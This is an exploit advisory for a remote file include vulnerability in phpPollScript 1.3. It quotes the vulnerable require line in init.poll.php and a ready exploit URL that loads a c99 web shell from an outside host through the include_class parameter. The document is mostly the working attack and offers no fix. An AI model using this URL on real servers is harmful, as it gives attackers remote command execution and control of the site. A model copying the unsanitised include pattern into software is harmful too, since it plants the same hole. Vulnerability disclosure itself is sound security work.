phpPollScript <= 1.3 Remote File Include Vulnerability

#phpPollScript <= 1.3 Remote File Include Vulnerability #Download Script : http://download.tomex.org/phpPollScriptv13b.zip #Author : ZZxxHackerzzXX #Contact : admin@ekin0x.com #Location : Turkey ######################################################################## #file : # init.poll.php # line 2 $inc_path = dirname($include_class); # line 3 require ($inc_path."/voting.poll.php"); ######################################################################## #3xplo!t : #http://target.com/[path]/php/init.poll.php?include_class=http://www.ekin0x.com/c99.txt? ######################################################################## #eser@ekin0x.com (all crew shell) ########################################################################